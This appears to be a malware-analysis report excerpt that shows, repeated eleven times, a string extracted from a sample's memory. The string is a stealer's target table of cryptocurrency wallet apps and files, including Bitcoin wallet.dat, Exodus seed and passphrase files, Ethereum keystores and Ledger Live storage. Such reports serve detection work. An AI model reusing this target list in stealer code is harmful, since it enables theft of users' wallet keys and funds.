Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2625469567.00000000012A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
